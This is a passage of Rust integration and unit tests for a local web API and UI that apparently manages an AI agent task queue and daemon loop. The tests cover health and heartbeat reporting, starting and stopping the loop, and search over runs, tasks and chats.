19565        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19566        assert_eq!(event.prior_status, TaskStatus::Done);
19567        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19568    }
19569
19570    #[tokio::test]
19571    async fn unknown_ids_are_json_not_found_on_both_stores() {
19572        let f = Fixture::start().await;
19573
19574        let run = f.get("/api/runs/nosuchrun").await;
19575        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19576
19577        assert_eq!(run.status, 404);
19578        assert_eq!(task.status, 404);
19579        assert!(
19580            run.json()["error"]
19581                .as_str()
19582                .is_some_and(|e| e.contains("run")),
19583            "the error names what was not found: {}",
19584            run.body
19585        );
19586        assert!(
19587            task.json()["error"]
19588                .as_str()
19589                .is_some_and(|e| e.contains("task")),
19590            "the error names what was not found: {}",
19591            task.body
19592        );
19593    }
19594
19595    #[tokio::test]
19596    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19597        let f = Fixture::start().await;
19598
19599        let missing = f.get("/api/health").await.json();
19600        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19601
19602        write_daemon(
19603            f.home.path(),
19604            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19605        );
19606        let stale = f.get("/api/health").await.json();
19607        assert_eq!(
19608            stale["daemon"]["running"], false,
19609            "a minute without a heartbeat is a dead daemon, not a busy one"
19610        );
19611        assert!(
19612            stale["daemon"]["stale_for_secs"]
19613                .as_i64()
19614                .is_some_and(|s| s >= 55),
19615            "staleness is reported so the UI can say how long: {stale}"
19616        );
19617
19618        write_daemon(f.home.path(), Timestamp::now());
19619        let fresh = f.get("/api/health").await.json();
19620        assert_eq!(fresh["daemon"]["running"], true);
19621        assert_eq!(fresh["daemon"]["idle"], false);
19622        assert_eq!(fresh["daemon"]["pid"], 4242);
19623        assert_eq!(fresh["daemon"]["completed"], 7);
19624        assert_eq!(
19625            fresh["daemon"]["current"][0]["task"],
19626            "20260902-140501-aaaa"
19627        );
19628        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19629    }
19630
19631    #[tokio::test]
19632    async fn the_loop_is_not_running_until_something_starts_it() {
19633        let f = Fixture::start().await;
19634
19635        let view = f.get("/api/loop").await.json();
19636        assert_eq!(view["running"], false);
19637        assert_eq!(
19638            view["owned"], false,
19639            "nobody owns a loop that does not exist: {view}"
19640        );
19641        assert_eq!(view["stopping"], false);
19642        assert_eq!(view["last_error"], Value::Null);
19643        assert_eq!(view["daemon"]["running"], false);
19644        assert_eq!(
19645            view["repo"], "/repo/magi",
19646            "the repository a start would use, named before it is started"
19647        );
19648    }
19649
19650    #[tokio::test]
19651    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19652        let f = Fixture::start().await;
19653
19654        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19655        assert_eq!(res.status, 200, "{}", res.body);
19656        let view = res.json();
19657        assert_eq!(view["running"], true);
19658        assert_eq!(
19659            view["owned"], true,
19660            "the loop the UI started is the UI's own to stop: {view}"
19661        );
19662        assert_eq!(
19663            view["merge"],
19664            Value::Null,
19665            "no override was given, so each repository's own config decides"
19666        );
19667
19668        // The same object from the route a waking phone polls first. Two
19669        // surfaces disagreeing about whether anything is running is exactly
19670        // the confusion this UI exists to remove.
19671        let health = f.get("/api/health").await.json();
19672        assert_eq!(health["loop"]["running"], true, "{health}");
19673        assert_eq!(health["loop"]["owned"], true, "{health}");
19674
19675        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19676    }
19677
19678    #[tokio::test]
19679    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19680        let f = Fixture::start().await;
19681        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19682        assert_eq!(first.status, 200, "{}", first.body);
19683
19684        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19685        assert_eq!(
19686            again.status, 409,
19687            "two loops on one queue race for the same claims: {}",
19688            again.body
19689        );
19690        assert!(
19691            again.json()["error"]
19692                .as_str()
19693                .is_some_and(|e| e.contains("already running the loop")),
19694            "the refusal has to say why: {}",
19695            again.body
19696        );
19697        assert_eq!(
19698            f.get("/api/loop").await.json()["running"],
19699            true,
19700            "and the loop that was already running is untouched by it"
19701        );
19702
19703        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19704    }
19705
19706    #[tokio::test]
19707    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19708        let f = Fixture::start().await;
19709        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19710
19711        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19712        assert_eq!(
19713            res.status, 200,
19714            "the answer must not wait for the loop: a run in flight is tens of \
19715             minutes and the operator is holding a phone: {}",
19716            res.body
19717        );
19718
19719        let view = settled(&f, |v| v["running"] == false).await;
19720        assert_eq!(view["owned"], false);
19721        assert_eq!(
19722            view["stopping"], false,
19723            "a loop that has stopped is not still stopping: {view}"
19724        );
19725        assert_eq!(
19726            view["last_error"],
19727            Value::Null,
19728            "a loop that was asked to stop did not fail: {view}"
19729        );
19730
19731        // Idempotent, because the operator cannot tell a slow stop from a lost
19732        // one and will press it again.
19733        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19734        assert_eq!(twice.status, 200, "{}", twice.body);
19735    }
19736
19737    #[tokio::test]
19738    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19739        let f = Fixture::start().await;
19740        // How the operator has been doing it: a `magi serve` of their own,
19741        // heartbeat fresh, in the same home this UI reads.
19742        write_daemon(f.home.path(), Timestamp::now());
19743
19744        let view = f.get("/api/loop").await.json();
19745        assert_eq!(view["running"], false, "not in this process: {view}");
19746        assert_eq!(view["owned"], false, "and not this process's to control");
19747        assert_eq!(
19748            view["daemon"]["running"], true,
19749            "but a loop is alive somewhere, which is what the UI must say"
19750        );
19751        assert_eq!(view["daemon"]["pid"], 4242);
19752
19753        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19754            let res = f.post("/api/loop", Some(body)).await;
19755            assert_eq!(
19756                res.status, 409,
19757                "neither button may pretend to work on someone else's loop: {}",
19758                res.body
19759            );
19760            assert!(
19761                res.json()["error"]
19762                    .as_str()
19763                    .is_some_and(|e| e.contains("4242")),
19764                "the refusal has to name the process the operator must go to: {}",
19765                res.body
19766            );
19767        }
19768        assert_eq!(
19769            f.get("/api/loop").await.json()["running"],
19770            false,
19771            "and the refusal started nothing"
19772        );
19773    }
19774
19775    #[tokio::test]
19776    async fn a_stale_status_file_is_not_a_foreign_owner() {
19777        let f = Fixture::start().await;
19778        write_daemon(
19779            f.home.path(),
19780            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19781        );
19782
19783        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19784        assert_eq!(
19785            res.status, 200,
19786            "a daemon killed a minute ago must not lock the loop out of its \
19787             own home for good: {}",
19788            res.body
19789        );
19790        assert_eq!(res.json()["running"], true);
19791
19792        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19793    }
19794
19795    #[tokio::test]
19796    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19797        let f = Fixture::start().await;
19798        let before = f.get("/api/health").await.json()["loop_rev"]
19799            .as_u64()
19800            .expect("a loop revision");
19801
19802        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19803
19804        let after = f.get("/api/health").await.json()["loop_rev"]
19805            .as_u64()
19806            .expect("a loop revision");
19807        assert!(
19808            after > before,
19809            "the loop is in-process state, so this counter is the only thing \
19810             that tells a second device the first one started it: {before} -> \
19811             {after}"
19812        );
19813
19814        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19815    }
19816
19817    #[tokio::test]
19818    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19819        let f = Fixture::with_loop(launch_broken).await;
19820
19821        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19822        assert_eq!(
19823            res.status, 200,
19824            "starting it is not the failure: {}",
19825            res.body
19826        );
19827
19828        let view = settled(&f, |v| v["last_error"].is_string()).await;
19829        assert_eq!(
19830            view["running"], false,
19831            "a loop that died must not read as running, or the operator has \
19832             nothing to press: {view}"
19833        );
19834        assert_eq!(view["owned"], false);
19835        assert!(
19836            view["last_error"]
19837                .as_str()
19838                .is_some_and(|e| e.contains("read-only file system")),
19839            "the phone is where a loop that died at 3am is visible: {view}"
19840        );
19841
19842        // And it can be started again: the corpse was reaped, not left to
19843        // occupy the slot.
19844        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19845        assert_eq!(again.status, 200, "{}", again.body);
19846        assert!(
19847            again.json()["last_error"]
19848                .as_str()
19849                .is_none_or(|e| !e.contains("read-only file system")),
19850            "a fresh start does not keep showing why the last one died: {}",
19851            again.body
19852        );
19853    }
19854
19855    #[tokio::test]
19856    async fn a_newer_daemon_status_file_still_renders() {
19857        let f = Fixture::start().await;
19858        // A field this build has never heard of must not turn the status line
19859        // into a 500; that is the whole reason the reader is permissive.
19860        std::fs::write(
19861            f.home.path().join("daemon.json"),
19862            serde_json::json!({
19863                "schema": 2,
19864                "updated_at": Timestamp::now().to_string(),
19865                "idle": true,
19866                "surprise": { "nested": [1, 2, 3] },
19867            })
19868            .to_string(),
19869        )
19870        .expect("write daemon.json");
19871
19872        let health = f.get("/api/health").await;
19873
19874        assert_eq!(health.status, 200);
19875        assert_eq!(health.json()["daemon"]["running"], true);
19876    }
19877
19878    #[tokio::test]
19879    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19880        let f = Fixture::start().await;
19881        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19882        let broken = f.runs().join("20260902-140502-bad");
19883        std::fs::create_dir_all(&broken).expect("run dir");
19884        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19885
19886        let list = f.get("/api/runs").await;
19887        let detail = f.get("/api/runs/20260902-140502-bad").await;
19888
19889        assert_eq!(list.status, 200);
19890        let listed = list.json();
19891        let ids: Vec<&str> = listed
19892            .as_array()
19893            .expect("an array")
19894            .iter()
19895            .map(|r| r["id"].as_str().expect("an id"))
19896            .collect();
19897        assert_eq!(
19898            ids,
19899            vec!["20260902-140501-good"],
19900            "one unreadable run must not cost the operator the whole history"
19901        );
19902        assert_eq!(detail.status, 500);
19903        assert!(
19904            detail.json()["error"]
19905                .as_str()
19906                .is_some_and(|e| e.contains("run.json")),
19907            "the failure names the file to look at: {}",
19908            detail.body
19909        );
19910        // A skipped run has to be countable somewhere, or the UI shows an
19911        // empty history with nothing to explain it - which is exactly what a
19912        // directory full of older-schema runs looks like.
19913        let health = f.get("/api/health").await;
19914        assert_eq!(health.json()["runs_unreadable"], 1);
19915    }
19916
19917    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19918    #[tokio::test]
19919    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19920        let f = Fixture::start().await;
19921        let runs = f.runs();
19922        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19923        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19924        // Text three levels down, in a shape no current RunState has: an older
19925        // schema must still search.
19926        let path = runs.join("20260902-140502-bbbb").join("run.json");
19927        let mut v: serde_json::Value =
19928            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19929        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19930        std::fs::write(&path, v.to_string()).unwrap();
19931        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19932        std::fs::write(
19933            runs.join("20260902-140503-cccc").join("run.json"),
19934            "{ not json",
19935        )
19936        .unwrap();
19937
19938        let res = f.get("/api/search?scope=runs&q=quokka").await;
19939        assert_eq!(res.status, 200, "{}", res.body);
19940        let v = res.json();
19941        assert_eq!(v["total"], 1, "{v}");
19942        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19943        assert_eq!(v["hits"][0]["field"], "text");
19944        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19945        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19946        assert!(
19947            parts
19948                .iter()
19949                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19950            "{v}"
19951        );
19952        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19953        assert_eq!(
19954            flat, "The Quokka leaks across threads",
19955            "whitespace is collapsed"
19956        );
19957
19958        // Terms are ANDed, across different fields, case-insensitively.
19959        let both = f
19960            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19961            .await
19962            .json();
19963        assert_eq!(both["total"], 1, "{both}");
19964        let neither = f
19965            .get("/api/search?scope=runs&q=quokka%20zebra")
19966            .await
19967            .json();
19968        assert_eq!(neither["total"], 0, "{neither}");
19969        // Everything in the task statement is reachable, not only the row text.
19970        let stmt = f
19971            .get("/api/search?scope=runs&q=mobile%20first")
19972            .await
19973            .json();
19974        assert_eq!(stmt["total"], 2, "{stmt}");
19975        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19976        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19977    }
19978
19979    #[test]
19980    fn snippet_ignores_terms_longer_than_the_field() {
19981        let terms = ["ok".to_owned(), "elephant".to_owned()];
19982        let parts = snippet_of("ok", &terms);
19983        assert_eq!(
19984            parts,
19985            vec![SnippetPart {
19986                text: "ok".to_owned(),
19987                hit: true
19988            }]
19989        );
19990    }
19991
19992    #[test]
19993    fn snippet_marks_matches_longer_than_the_window() {
19994        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19995        let hit_len = |parts: &[SnippetPart]| -> usize {
19996            parts
19997                .iter()
19998                .filter(|p| p.hit)
19999                .map(|p| p.text.chars().count())
20000                .sum()
20001        };
20002        let total =
20003            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
20004
20005        let long = "a".repeat(120);
20006        let parts = snippet_of(&long, std::slice::from_ref(&long));
20007        assert!(hit_len(&parts) > 0, "{parts:?}");
20008        assert!(total(&parts) <= cap);
20009
20010        let ja = "あ".repeat(130);
20011        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
20012        assert!(hit_len(&parts) > 0, "{parts:?}");
20013        assert!(total(&parts) <= cap);
20014
20015        // A short hit, then one straddling the window's end.
20016        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
20017        let term = format!("ab{}", "c".repeat(100));
20018        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
20019        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
20020        assert!(total(&parts) <= cap);
20021
20022        // Only the head matches: not highlighted.
20023        let text = format!("{}z", "a".repeat(119));
20024        let parts = snippet_of(&text, &["a".repeat(120)]);
20025        assert_eq!(hit_len(&parts), 0, "{parts:?}");
20026    }
20027
20028    #[tokio::test]
20029    async fn search_caps_hits_and_snippet_length() {
20030        let f = Fixture::start().await;
20031        let runs = f.runs();
20032        for n in 0..(SEARCH_MAX_HITS + 5) {
20033            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
20034        }
20035        let v = f.get("/api/search?scope=runs&q=web").await.json();
20036        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
20037        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
20038        assert_eq!(v["truncated"], true);
20039        // Every listed run hit carries its list row for the page's filters.
20040        assert!(
20041            v["hits"]
20042                .as_array()
20043                .unwrap()
20044                .iter()
20045                .all(|h| h["run"]["status"] == "merged")
20046        );
20047
20048        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
20049        let parts = snippet_of(&long, &["needle".to_owned()]);
20050        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
20051        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
20052        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
20053    }
20054
20055    #[tokio::test]
20056    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
20057        let f = Fixture::start().await;
20058        let queue = f.queue();
20059        let mut t = Task::new(
20060            "short title".to_owned(),
20061            "line one\nthe hidden Armadillo detail".to_owned(),
20062            PathBuf::from("/repo/magi"),
20063            Source::Agent {
20064                run: "r1".to_owned(),
20065                node: "chat".to_owned(),
20066            },
20067        );
20068        t.last_error = Some("disk full on /tmp".to_owned());
20069        queue.put(&mut t).expect("file the task");
20070
20071        for (q, want) in [
20072            ("armadillo", 1),
20073            ("disk%20FULL", 1),
20074            ("chat", 1),
20075            ("queued", 1),
20076            ("short%20nothing", 0),
20077        ] {
20078            let v = f
20079                .get(&format!("/api/search?scope=tasks&q={q}"))
20080                .await
20081                .json();
20082            assert_eq!(v["total"], want, "{q}: {v}");
20083        }
20084        for bad in [
20085            "/api/search?scope=tasks&q=",
20086            "/api/search?scope=tasks&q=%20",
20087            "/api/search?scope=chats&q=",
20088            "/api/search?scope=chats&q=%20",
20089            "/api/search?scope=nope&q=a",
20090            "/api/search?q=a",
20091        ] {
20092            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20093        }
20094    }
20095
20096    /// Write one conversation file the way the store reads it back.
20097    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20098        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20099            .expect("seat value");
20100        let turns: Vec<serde_json::Value> = turns
20101            .iter()
20102            .map(|(who, body)| {
20103                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20104            })
20105            .collect();
20106        let doc = serde_json::json!({
20107            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20108            "status": status, "turns": turns,
20109            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20110            "seat": seat,
20111        });
20112        let dir = f.home.path().join("talks");
20113        std::fs::create_dir_all(&dir).expect("talks dir");
20114        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20115    }
20116
20117    #[test]
20118    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20119        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20120            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20121            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20122            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20123            "seat": crate::agent::SeatState::new("talk", "test", 1)
20124        })).unwrap();
20125        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20126        talk.title = Some(talk::ChatTitle {
20127            text: "最近の話題".into(),
20128            source: talk::TitleSource::Generated,
20129        });
20130        let doc = talk_search_doc(&talk);
20131        assert_eq!(doc["title"], "最近の話題");
20132        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20133        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20134        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20135    }
20136
20137    #[test]
20138    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20139        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20140        talk.title = Some(talk::ChatTitle {
20141            text: "Saved title".into(),
20142            source: talk::TitleSource::Manual,
20143        });
20144        talk.turns = serde_json::from_value(serde_json::json!([
20145            {
20146                "who": "operator", "sender": "external", "body": "External plain",
20147                "at": "2026-09-08T20:58:02Z"
20148            },
20149            {
20150                "who": "operator", "body": "External message",
20151                "at": "2026-09-08T20:58:03Z",
20152                "messages": [{
20153                    "sender": "external", "body": "External message", "attachments": []
20154                }]
20155            }
20156        ]))
20157        .unwrap();
20158        let doc = talk_search_doc(&talk);
20159        assert_eq!(doc["turns"][0]["external"], "External plain");
20160        assert_eq!(doc["turns"][1]["external"], "External message");
20161        assert!(doc["turns"][0].get("operator").is_none());
20162        assert!(doc["turns"][1].get("operator").is_none());
20163        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20164        assert_eq!(hit.field, "external");
20165        let target = hit.target.unwrap();
20166        assert_eq!((target.turn, target.message), (1, 0));
20167    }
20168
20169    #[test]
20170    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20171        let talk: Talk = serde_json::from_value(serde_json::json!({
20172            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20173            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20174            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20175                "messages":[{"body":"First message", "attachments":[], "reply":null},
20176                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20177                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20178            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20179            "seat": crate::agent::SeatState::new("talk", "test", 1)
20180        })).unwrap();
20181        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20182        let target = hit.target.unwrap();
20183        assert_eq!((target.turn, target.message), (0, 1));
20184        assert_eq!(target.text, chat_text_key("Search 運用"));
20185        assert_eq!(
20186            hit.snippet,
20187            snippet_of("Search 運用", &search_terms("運用 Another"))
20188        );
20189        assert!(
20190            search_chat(&search_terms("Saved"), &talk)
20191                .unwrap()
20192                .target
20193                .is_none()
20194        );
20195        assert!(
20196            search_chat(&search_terms("ab12"), &talk)
20197                .unwrap()
20198                .target
20199                .is_none()
20200        );
20201        // All terms may still match across separate display rows.
20202        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20203        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20204    }
20205
20206    #[test]
20207    fn chat_search_targets_opener_derived_titles() {
20208        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20209            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20210            "status": "open", "turns": [
20211                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20212                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20213                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20214            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20215            "seat": crate::agent::SeatState::new("talk", "test", 1)
20216        }))
20217        .unwrap();
20218        let terms = search_terms("運用");
20219        let hit = search_chat(&terms, &talk).unwrap();
20220        assert_eq!(hit.field, "title");
20221        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20222        let target = hit.target.unwrap();
20223        assert_eq!((target.turn, target.message), (1, 0));
20224        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20225        // A blank first send can put the opener line in a later display row.
20226        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20227            {"body":"", "attachments":[], "reply":null},
20228            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20229        ]))
20230        .unwrap();
20231        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20232        assert_eq!((target.turn, target.message), (1, 1));
20233        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20234        talk.title = Some(talk::ChatTitle {
20235            text: "運用について".into(),
20236            source: talk::TitleSource::Manual,
20237        });
20238        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20239    }
20240
20241    #[tokio::test]
20242    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20243        let f = Fixture::start().await;
20244        write_talk(
20245            &f,
20246            "20260901-000001-aaaa",
20247            "open",
20248            &[
20249                (
20250                    "operator",
20251                    "\n  Why does the Pangolin cache expire?\nsecond line",
20252                ),
20253                ("agent", "Because the TTL is thirty seconds."),
20254            ],
20255        );
20256        write_talk(
20257            &f,
20258            "20260901-000002-bbbb",
20259            "closed",
20260            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20261        );
20262        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20263
20264        let search = |q: &'static str| {
20265            let f = &f;
20266            async move {
20267                f.get(&format!("/api/search?scope=chats&q={q}"))
20268                    .await
20269                    .json()
20270            }
20271        };
20272
20273        let v = search("PANGOLIN").await;
20274        assert_eq!(v["scope"], "chats");
20275        assert_eq!(v["total"], 1, "{v}");
20276        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20277        assert_eq!(v["hits"][0]["field"], "title");
20278        assert_eq!(v["unreadable"], 1, "{v}");
20279        let marked: Vec<&str> = v["hits"][0]["snippet"]
20280            .as_array()
20281            .unwrap()
20282            .iter()
20283            .filter(|p| p["hit"] == true)
20284            .map(|p| p["text"].as_str().unwrap())
20285            .collect();
20286        assert_eq!(marked, ["Pangolin"]);
20287
20288        // An agent turn, in a closed conversation.
20289        let v = search("zebra").await;
20290        assert_eq!(v["total"], 1, "{v}");
20291        assert_eq!(v["hits"][0]["field"], "agent");
20292        // Words may sit in different turns; all must be present.
20293        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20294        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20295        // Bookkeeping is not searched.
20296        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20297            assert_eq!(search(q).await["total"], 0, "{q}");
20298        }
20299        // The first line only is the title; the second line is still a turn.
20300        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20301        // Open conversations are listed before closed ones.
20302        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20303
20304        let v = f.get("/api/search?scope=nope&q=a").await;
20305        assert_eq!(v.status, 400);
20306        assert!(
20307            v.body.contains("scope must be runs, tasks or chats"),
20308            "{}",
20309            v.body
20310        );
20311    }
20312
20313    #[test]
20314    fn a_question_card_links_a_task_id_to_the_task_page() {
20315        let start = APP_JS
20316            .find("function updateAskCard(")
20317            .expect("updateAskCard exists");
20318        let body = &APP_JS[start..];
20319        let body = &body[..body.find("\n}\n").expect("function end")];
20320        assert!(body.contains("question.run_is_task"));
20321        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20322        assert!(body.contains("`#/runs/${question.run}`"));
20323        assert!(body.contains("\"task\" : \"run\""));
20324    }
20325
20326    #[test]
20327    fn plain_text_message_surfaces_go_through_linkify() {
20328        assert!(APP_JS.contains("function linkify("));
20329        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20330        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20331        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20332        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20333        assert!(!APP_JS.contains("innerHTML = text"));
20334    }
20335
20336    #[test]
20337    fn implementation_rate_views_keep_independent_samples() {
20338        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20339            let a = stats::AgentStats {
20340                competitive_entered: competitive_n,
20341                competitive_wins: usize::from(competitive_n > 0),
20342                solo_entered: solo_n,
20343                solo_adopted: 2 * usize::from(solo_n > 0),
20344                ..Default::default()
20345            };
20346            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20347            for (key, n, numerator) in [
20348                ("competitive_win_rate", competitive_n, a.competitive_wins),
20349                ("solo_adoption_rate", solo_n, a.solo_adopted),
20350            ] {
20351                if n == 0 {
20352                    assert!(v[key].is_null());
20353                } else {
20354                    assert_eq!(v[key]["denominator"], n);
20355                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20356                }
20357            }
20358        }
20359        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20360        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20361        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20362        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20363    }
20364
20365    #[test]
20366    fn stats_bars_share_one_id_keyed_plan() {
20367        let start = APP_JS
20368            .find("function statsBarRows(")
20369            .expect("statsBarRows exists");
20370        let body = &APP_JS[start..];
20371        let body = &body[..body.find("\n}\n").expect("function end")];
20372        assert!(body.contains("statsBarPlan(rows)"));
20373        assert!(body.contains("statsAgentTone(row.agent)"));
20374        assert!(!body.contains("candTone(i)"));
20375        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20376        for root in [
20377            "stats-agents-bars",
20378            "stats-solo-bars",
20379            "stats-reviewers-bars",
20380        ] {
20381            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20382        }
20383    }
20384
20385    #[test]
20386    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20387        let start = APP_JS
20388            .find("function renderStatsReviewerScatter(")
20389            .expect("renderStatsReviewerScatter exists");
20390        let body = &APP_JS[start..];
20391        let body = &body[..body.find("\n}\n").expect("function end")];
20392        assert!(body.contains("statsScatterPlan(reviewers)"));
20393        assert!(body.contains("statsAgentTone(d.agent)"));
20394        assert!(APP_JS.contains("function statsScatterPlan("));
20395        assert!(
20396            APP_JS.contains("d.submitted < STATS_LOW_N")
20397                || APP_JS.contains("r.submitted < STATS_LOW_N")
20398        );
20399        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20400        assert!(APP_CSS.contains(".precision-scatter"));
20401    }
20402
20403    #[test]
20404    fn advisor_reflection_is_drawn_as_stacked_segments() {
20405        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20406        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20407        let html = include_str!("../assets/ui/index.html");
20408        assert!(html.contains("Approximate"));
20409        for label in ["reflected strongly", "faint", "no proposal"] {
20410            assert!(html.contains(label));
20411        }
20412        let css = include_str!("../assets/ui/app.css");
20413        for c in ["refl-strong", "refl-faint", "refl-absent"] {
